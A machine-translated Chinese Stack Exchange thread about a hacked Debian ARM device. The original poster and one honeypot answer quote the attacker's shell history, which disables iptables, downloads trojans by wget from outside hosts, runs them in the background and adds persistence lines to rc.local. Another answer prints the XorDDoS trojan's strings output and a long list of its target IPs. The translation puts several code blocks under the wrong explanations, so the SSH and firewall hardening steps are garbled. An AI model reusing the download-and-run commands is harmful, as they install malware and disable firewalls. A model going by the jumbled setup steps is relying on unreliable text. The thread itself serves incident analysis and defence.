我正在开发一种消费产品,并且应该可以连接到Internet,因此可以预期地将其连接到Internet,以便我可以正确地开发它。

我去了离开一两个小时,回到办公室后,我注意到终端中写了一些奇怪的命令。

查看名为auth.log的Linux日志文件,我可以看到以下几行(其中有很多行)更多):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]


IP地址40.127.205.162原来归微软所有。

这是一堆命令,我不在:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &


更多:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1


我完全没有意识到这一点。如何正确保护我的产品?

我想发布完整的auth.log文件。我该怎么做?

此外,下载的文件yjz1似乎是Linux木马
,所有这些似乎都由某种黑客组织根据http: //anti-hacker-alliance.com/index.php?ip=40.127.205.162

我应该打电话给Microsoft并与他们联系吗?我该怎么办?

评论

是的,看起来不太好。无论如何,我都不是Linux方面的专家,但是肯定可以尝试在此处执行某些操作。我不太确定如何尝试以root用户身份登录并失败。您的auth.log中还有其他日志吗?还有其他远程管理方式吗?我曾经看到启用了VNC服务器的Mac之前通过这种方法被黑客入侵,尽管这看起来像是SSH尝试。看起来它从中下载的IP托管在中国的某个地方。

你被强暴了。这就是为什么即使您有密码也不会将ssh服务器留在互联网上的原因。这些年来,基于密钥的身份验证不足是不够安全的。

好吧,我们有security.stackexchange.com。但首先要注意的是:受损主机不再受信任。将其从网络上删除。如果可能,请进行备份,以便您可以研究完成的内容和完成的方式。接下来,从干净的来源重新安装操作系统。从备份还原数据。保护系统安全,以免再次受到感染。强烈建议找出他们是如何进入的。 (因此,建议复制受感染的系统。)

仅供参考:40.127.205.162是根据GeoIP的Microsoft Azure IP地址。因此,您不能将攻击归咎于Microsoft-这等同于归咎于Amazon,因为有人将EC2用作垃圾邮件。微软唯一能做的就是将攻击者赶出Azure,但是他们很快就会回到另一个云平台上。

实际上,如果这是在您的终端中编写的,则黑客可能正坐在下一个隔间中。

#1 楼

编辑2:

有一个很好的理由可以使这篇文章引起如此多的关注:您设法在PC上记录了入侵者的整个实时会话。这与我们的日常经历有很大的不同,在我们的日常经历中,我们处理发现他的行为后果并试图纠正它们的后果。在这里,我们看到他在工作,看到他在建立后门时遇到一些问题,回溯他的脚步,狂热地工作(也许是因为他正坐在你的办公桌上,如上所述,或者,也许在我看来,是因为他是无法使其恶意软件在系统上运行(请参阅下文),并尝试部署完全独立的控制工具。
这就是安全研究人员每天用蜂蜜陷阱目击者的见证。对我来说,这是一个非常难得的机会,而且是一种娱乐的来源。


您肯定被黑了。这样做的证据并非来自您显示的auth.log文件的片段,因为它报告登录尝试未成功,发生在短时间内(两秒)。您会注意到第二行指出Failed password,而第三行则报告pre-auth断开连接:此人尝试失败。

证据来自攻击者下载到系统上的两个文件http://222.186.30.209:65534/yjzhttp://222.186.30.209:65534/yjz1的内容。

该网站目前对所有人开放,我已经下载了。我首先在它们上运行file,它显示:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped


,然后将它们带到我拥有的64位Debian VM上。通过strings命令对其内容进行的检查发现了很多可疑的内容(参考各种众所周知的攻击,所要替换的命令,明显用于设置新服务的脚本等)。

然后,我生成了两个文件的MD5哈希,然后将它们馈送到Cymru的哈希数据库中,以查看它们是否是恶意软件的已知代理。尽管yjz不是,qym12079q是,Cymru报告说防病毒软件检测到的可能性为58%。它还指出该文件最后一次出现是在三天前,所以它是最近的。

在我获得的两个文件上运行clamscan(yjz1软件包的一部分):

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND


,所以我们现在可以确定标准的Linux软件可以识别它。

你应该怎么办?

尽管这是一个很新的系统,但两个系统都不是很新,例如,请参阅有关XorDdos的这篇2015年1月的文章。因此,大多数免费软件包都应该能够将其删除。您应该尝试:clamavclamavrkhunter。我在Google周围搜索,看到他们声称能够发现它。使用它们检查前任的工作,但是在运行这三个程序之后,您应该就可以开始了。

对于更大的问题chkrootkit,Journeyman的答案是一个很好的第一步。请记住,这是一场持续不断的斗争,我们所有人(包括我!)都可能在不知不觉中迷失了自己。

编辑:

在Viktor Toth的(间接)提示下,我想添加一些评论。入侵者确实遇到了一些困难:他下载了两种截然不同的黑客工具,多次更改了它们的权限,多次重新启动了它们,然后尝试多次禁用防火墙。很容易猜到发生了什么:他希望自己的黑客工具为他的一台被感染的个人计算机打开一个通信通道(请参阅下文),并且当他看不到此新通道出现在其控制GUI上时,他担心自己的黑客行为该工具被防火墙阻止,因此他重复了安装过程。我同意维克多·托特(Viktor Toth)的观点,他的这一特定运作阶段似乎并没有取得预期的成果,但是我要强烈鼓励您不要低估对电脑造成的损害程度。

我在这里提供what should you do to prevent future infections的部分输出:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case  in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive


这提供了篡改服务的证据(在strings yjz1/etc/init.d中),使用/etc/rc.d,历史文件crontab以及mysql中的几个文件,这些文件链接到proc(这表明已经植入了定制的shell欺诈版本)。然后,程序生成一个HTTP请求(到中文站点

 Accept-Language: zh-cn


这为David Schwartz的上述评论提供了实质内容),这可能会造成更大的破坏。在请求中,二进制文件(bash)将被下载到受攻击的PC(GET)并上传到控制计算机(POST)。我无法确定将下载到受攻击PC的文件,但是,鉴于Content-Type: application/x-www-form-urlencodedyjz的尺寸都很小(分别为1.1MB和600kB),我可以冒险推测出隐藏rootkit所需的大多数文件,即yjz1lsnetstatps,...的变更版本将以这种方式下载。这就解释了攻击者为使下载继续进行的疯狂尝试。

不能确定上面的方法是否能用尽所有可能性:我们当然缺少部分成绩单(在第457和481行之间),并且看不到注销;此外,尤其令人担忧的是第495-497行,

cd /tmp;  ./yd_cd/make


,它引用的是我们未下载的文件,并且可能是编译文件:如果是这样,则意味着攻击者(最终?)了解他的可执行文件存在的问题,并正在尝试解决此问题,在这种情况下,被攻击的PC永久消失了。 [实际上,攻击者下载到被黑客攻击的计算机上(以及我下载到我的64位Debian VM上)的两个版本的恶意软件是针对不合适的体系结构x86的,而被黑客入侵的pc的名称本身就说明了这样一个事实:他正在研究手臂架构]。

之所以写这篇文章,是为了促使您尽可能地将系统与专业仪器结合在一起,或者从头开始重新安装。

而且,顺便说一句,如果这对任何人都有用,这就是ifconfig尝试连接的331个IP地址的列表。该列表太大(并且可能注定还会变得更大),我相信这是篡改yjz的原因。另一个后门提供的列表是相同的,我认为这是将如此重要的信息公开保留的原因(我认为攻击者不希望将其存储为内核格式,因此他将整个列表放在一个纯文本文件中,无论使用哪种操作系统,他的后门程序都可能将其读入):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98


以下代码<上面的列表中显示,在331个地址中,有302个位于中国大陆,其余位于香港,蒙古,台湾。这进一步支持了大卫·施瓦茨(David Schwartz)的论点,即这主要是中国机器人圈。

编辑3

应@vaid的要求(OP的作者,请在下面阅读他的评论),我将添加有关如何增强基本Linux系统安全性的评论。 (对于提供许多服务的系统,这是一个复杂得多的主题)。 mysql指出他已执行以下操作:



重新安装系统
将root密码更改为16个字符长的密码,混合使用大小写字母,字符和数字。
将用户名更改为6个混合字符长的用户名,并使用与root用户相同的密码
将SSH端口更改为5000以上的密码
关闭SSH root登录。



很好(除非我使用10,000以上的端口,因为许多有用的程序都使用10,000以下的端口)。但是我不能足够强调需要使用加密密钥而不是密码进行ssh登录。我会给你一个个人的例子。在我的一个VPS上,我不确定是否要更改ssh端口。我将其保留在22岁,但使用加密密钥进行身份验证。我每天有数百次闯入尝试,但都没有成功。当厌倦了每天检查没有人成功时,我最终将端口切换到10,000以上,闯入尝试变为零。请注意,并不是说黑客是愚蠢的(他们不是!),他们只是寻找更容易的猎物。

使用RSA作为签名算法来激活加密密钥很容易,请参阅下面的评论作者:Jan Hudec(谢谢!):

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l


现在,您要做的就是将文件vaid复制到要连接的计算机上(在目录中) id_rsa,也将.ssh设置为700),然后发出命令

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *


如果确定可以正常运行,请在服务器上编辑(=您想要的机器连接到)文件chmod,并将行

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine


更改为

#PasswordAuthentication yes


并重新启动/etc/ssh/sshd_config服务(sshservice ssh restart或类似的东西,具体取决于发行版)。

这可以承受很多。实际上,目前没有针对systemctl restart ssh的当前版本以及openssh v2所采用的RSA的已知利用。

最后,为了真正关闭计算机,您需要按以下方式配置防火墙(netfilter / iptables):

PasswordAuthentication no


这,1)允许来自LAN和WAN的ssh连接,2)允许所有源自您的请求的输入(例如,当您加载网页时),3)丢弃输入中的所有其他内容,4)允许所有内容(5-6)允许回送接口上的所有内容。

随着需求的增长和需要打开更多端口,您可以通过在列表顶部添加以下规则来实现:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT


实例人员访问您的Web浏览器。

评论


读起来很棒。我还通过Google VirusTotal.com尝试了文件yjz1,该文件给予了肯定。我什至没有看到yjzhad已下载。谢谢。

–有效
16年2月1日在16:28

注意在不受信任的数据上运行字符串。 lcamt​​uf.blogspot.com/2014/10/…

–马特·诺德霍夫(Matt Nordhoff)
16-2-2在7:02

@MattNordhoff感谢您指出这一点,我很高兴没有意识到这一点。但是,在我的Debian上,“ strings”命令通过了与彩色链接的测试。我认为这是由于手册指出:-a ...这通常是默认行为。干杯。

– MariusMatutiae
16年2月2日在7:12

该答案显示了应为范例的方法:1.不要让失败的尝试转移您的注意力,并引起警惕。 2.区分攻击者的成功行动。 3.研究攻击者的行为和方式。 4.从头开始安装所有文件,或从上一个未损坏(受攻击的)备份中安装所有文件,并添加所需的其他保护(点3)。 5.帮助其他人保护自己(受感染/可疑IP的列表)。

–Hastur
16年2月2日在8:26

[@MariusMatutiae在评论后删除]-然而,OP应该意识到,在受感染的系统上,每个可执行文件都必须被认为是恶意的,甚至包括shell,ls,谁或其他任何东西。在受感染系统上使用任何可执行文件(例如scp或rsync)“拯救数据”可能会危害更多计算机。

–杜布
16-2-2在13:24



#2 楼

欢迎使用Internet-在这里,任何开放的SSH服务器都可能会受到探测,强行使用,并对其造成各种侮辱。

开始之前,您需要完全清除产品上的存储空间。如果您想将其传递给取证,请对其进行映像,但是现在可以在其上进行Linux安装了。

有些猜测,但


您很暴力-强制或使用通用密码。出于安全性考虑,但是您不希望使用字典密码或使用对SSH开放的根帐户。如果可以,请禁用root SSH访问,或者至少更改名称,以便他们需要同时猜测两者。无论如何,以root身份进行SSH都是可怕的安全实践。如果必须使用root用户,请以其他用户身份登录并使用su或sudo进行切换。
取决于产品,您可能希望以某种方式锁定SSH访问。完全锁定似乎是个好主意,并允许用户根据需要将其打开。根据可以节省的资源,可以考虑只允许在自己的子网或某种类型的登录限制系统中使用IP地址。如果最终产品上不需要它,请确保已将其关闭。
使用非标准端口。默默无闻的安全性,但这意味着攻击者需要将您的端口作为目标。
永远不要使用默认密码。我见过的最好的方法是为特定设备随机生成一个密码,并将其与产品一起发货。最佳实践是基于密钥的身份验证,但我不知道您如何在大众市场产品上实现这一目标。


评论


5.尽可能使用公共密钥身份验证。密码验证远不如安全。

–鲍勃
16年2月1日在13:29

是的,但是如果它是消费类设备,则可能不是一个选择。在开发平台上,这听起来是个绝妙的主意。在服务器上,好吧,我确实在; p之前被黑了。

–游侠怪胎♦
16年2月1日在13:31

如果是消费类设备,则所有设备上使用相同的随机密码或密钥也是一个坏主意。就像任何基于其序列号,其MAC或其他可识别信息的内容一样。 (许多SoHO调制解调器/路由器/ WAP似乎缺少的东西)。

–亨尼斯
16年2月1日在14:53

它是消费类设备。但是,绝大多数目标消费者的教育程度不足以了解SSH是什么。因此可以关闭SSH,并且很有可能将其关闭。

–有效
16年2月1日在15:39

另外,使用fail2ban。

– Shadur
16年2月2日,下午5:29

#3 楼

哦,你肯定被黑了。似乎有人已经能够获取根凭据,并试图将Trojan下载到您的系统。 MariusMatutiae提供了对有效载荷的分析。

出现两个问题:a)攻击者成功了吗? b)你能怎么做?

第一个问题的答案可能是“否”。请注意,攻击者如何反复尝试下载并运行有效负载,显然没有成功。我怀疑是什么东西(SELinux,性能?)阻碍了。

但是:攻击者还更改了/etc/rc.d/rc.local文件,希望当您重新启动系统时,有效负载将被激活。如果尚未重启系统,请先从/etc/rc.d/rc.local中删除这些更改,然后再重启。如果您已经重新启动它了……好吧,祝您好运。

关于它可以做什么:最安全的做法是擦拭系统并从头开始重新安装。但这可能并不总是一种选择。要安全得多的事情是,如果可能的话,准确地分析发生的事情并擦掉所有痕迹。同样,如果尚未重启系统,则可能只需清除/etc/rc.d/rc.local,删除攻击者下载的所有内容,最后但并非最不重要的一点是,更改darn密码!

但是,如果攻击者已经能够运行有效负载,则可能对系统进行了其他修改,可能难以检测到。这就是为什么完全擦除确实是唯一安全(推荐)的原因。正如您所指出的,有问题的设备可能是测试/开发目标,因此擦除它可能不会像在其他情况下那样痛苦。

更新:尽管我写了关于可能的恢复的文章,我想回应MariusMatutiae的强烈建议,不要低估此有效载荷可能造成的潜在损害以及它可能损害目标系统的程度。

评论


谢谢。我决定擦除系统。我重新启动了几次,只是为了复制一些基本数据。没有二进制文件,只有源代码。我想我现在很安全。

–有效
16年2月2日,下午2:36

那同一局域网上的其他盒子呢?

– WGroleau
16年2月2日在14:44

好问题。提供的外壳程序历史记录并不表示有任何尝试发现和破坏同一网络上的其他设备。更普遍的是,如果攻击者获得对一个盒子的SSH(根)访问权限,则基本上意味着该攻击者已经绕过了所有外围防火墙。但是,这并不能自动暗示其他邮箱遭到入侵:这还需要其他一些东西,例如未修补的漏洞,在邮箱之间共享的密码,从一个邮箱自动登录到另一个邮箱等。

–维克多·托特(Viktor Toth)
16-2-2在15:28

#4 楼

我的sshd-honeypot也看到了这种攻击。该URL的首次下载开始于2016-01-29 10:25:33,并且攻击仍在继续。
/来自

103.30.4.212
111.68.6.170
118.193.228.169


<<来自这些攻击者的信息是:

service iptables stop
wget http://222.186.30.209:65534/yjz1
nohup /root/yjz1 &gt /dev/null 2&gt&amp1 &amp
chmod 0777 yjz1
chmod u+x yjz1
./yjz1 &
chmod u+x yjz1
./yjz1 &
cd /tmp


因此,除了安装后门以备后用,其他任何活动都没有。

评论


同意,这是相同的MO。

– MariusMatutiae
16年2月2日在10:48

@MariusMatutiae那么,这不是手动黑客吗?这是一种自我传播的蠕虫/机器人吗?

– NickG
16-2-4在13:38



@NickG我最大的猜测是这不是手动破解。 vaid与位于中国的僵尸网络的发起者在同一办公室工作的可能性是多少?有人发现他的计算机中有一个可利用的弱点,最有可能是一个安全性较差的ssh服务器,强行使用了他的密码,获得了访问权限,并试图秘密安装自己。但是,我也敢打赌,与Windows相比,攻击者更能使用Windows。但是我没有确凿的证据,只是有根据的猜测。

– MariusMatutiae
16年4月4日在14:00

#5 楼

这里的每个人都提供了扎实的建议,但要明确一点,您应该优先考虑备份并验证该系统的真正需求,然后使用已知安全介质中的全新安装来擦除它。

在将新安装的主机连接到Internet之前,请运行以下想法:


创建一个新的非root用户,并以该用户身份登录。您永远不需要以root用户身份登录,只需在需要时使用sudo(替代用户身份)即可。
安装SE Linux,这些配置设置可启用强制访问控制:
https://wiki.debian.org/SELinux/Setup
在办公室/家庭和Internet之间考虑硬件防火墙。我使用MicroTik,它具有出色的社区支持:http://routerboard.com/。

假设您在完成付费工作的时间表上,至少要做#1。 #3快速且便宜,但是您要么需要等待邮件中的包裹,要么开车去商店。

评论


而且,最重要的是,不要让您的电脑在开放的root会话下无人值守!

– MariusMatutiae
16年2月2日在10:32

#6 楼


debian-armhf是您的主机名吗?还是您使用默认设置进行默认安装?没问题,但是您不应该允许主机直接暴露于Internet(即,至少不受调制解调器保护)。
真正的麻烦似乎出在222.186.30.209 (请参阅http://anti-hacker-alliance.com/index.php?ip=222.186.30.209)。您不应无所顾忌地看到Microsoft的IP。 IP或多或少可以很容易地被伪造/欺骗。

连接到Internet的常用方法是将已知IP端口列表从公用IP(例如8.8.8.8)转发到本地(例如192.168.1.12)。


例如,请勿将所有传入的连接从8.8.8.8(公共)转发到192.168.1.12(本地)。
仅转发端口22和25(分别为ssh和传入邮件)。当然,您还应该拥有最新的ssh和smtp软件包/库。


接下来是什么?断开主机的连接,并更改在/etc/shadow中在外壳程序脚本中硬编码的密码(在与该组织关联的任何计算机上)(可耻!)。


评论


1.是,debian-armhf是主机名。 2.是,我已阅读该文章,并通过其网站cest.microsoft.com与Microsoft联系。 3.我只转发了25和22,没有其他转发。 4.我会做的

–有效
16-2-1在15:42



“ IP或多或少容易伪造”:我既不是安全专家,也不是网络专家。那怎么可能?

–kevinarpe
16-2-3在3:14

@kevinarpe作为一个单独的问题,这可能要好得多。

–用户
16-2-3在8:52

参见stackoverflow.com/questions/5180557/…和superuser.com/questions/37687/…

–炼金术士
16年2月3日,9:30

@Archemar:SSH是TCP;如果不是不可能的话,伪造TCP源IP也很困难。此外,如上所述,Microsoft IP属于其云服务Azure,这意味着任何人都可能会花时间在该服务上攻击他人。

–nneonneo
16年2月7日在19:29

#7 楼

正如其他人所说,很明显,服务器的安全性已受到损害。最安全的方法是擦拭本机并重新安装。

要回答问题的第二部分,如果您不能使用公共密钥身份验证,我建议至少设置Fail2Ban并在非标准端口上运行SSH。我还禁用了根SSH访问。

Fail2Ban会通过禁止登录失败特定次数的IP地址来帮助缓解暴力攻击。

设置sshd进行监听在非标准端口上至少会帮助一点点降低SSH服务器的可见性。禁用root登录也可以稍微降低攻击性能。在/etc/sshd_config中:

PermitRootLogin no
Port xxxxx


禁用root登录后,一旦连接,您将需要使用su切换到root,或者(更可取的是)使用sudo执行特权命令。

评论


我都做了这两个,谢谢你的建议。

–有效
16年3月3日在6:20

#8 楼

SSH服务器不断受到Internet的攻击。您要做的几件事:


请确保您使用非常安全的随机密码来访问Internet机器。我的意思是至少16个字符,并且完全是随机的。使用密码管理器,这样您就不必记住它。如果您可以记住密码,那就太简单了。
如果不需要SSH,请将其关闭。如果确实需要它,但又不需要公开访问它,请在较高的非标准端口号上运行它。这样做将大大减少黑客尝试的次数。是的,专门的黑客可以进行端口扫描,但自动漫游器无法找到它。

身份验证日志中的代码段显示尝试失败。但是,如果您进一步看,您无疑会看到成功的登录。如果您使用简单的密码,那么僵尸程序就很容易进入。

您需要将此计算机与网络隔离。非常仔细地将您需要的东西拿掉,然后擦拭。

评论


当我以前在端口22上运行ssh时,通常每天会有数千次hack尝试。当我更改为较高的端口号(超过50000)时,这些黑客尝试完全停止了。

–user1751825
16年2月2日,00:00

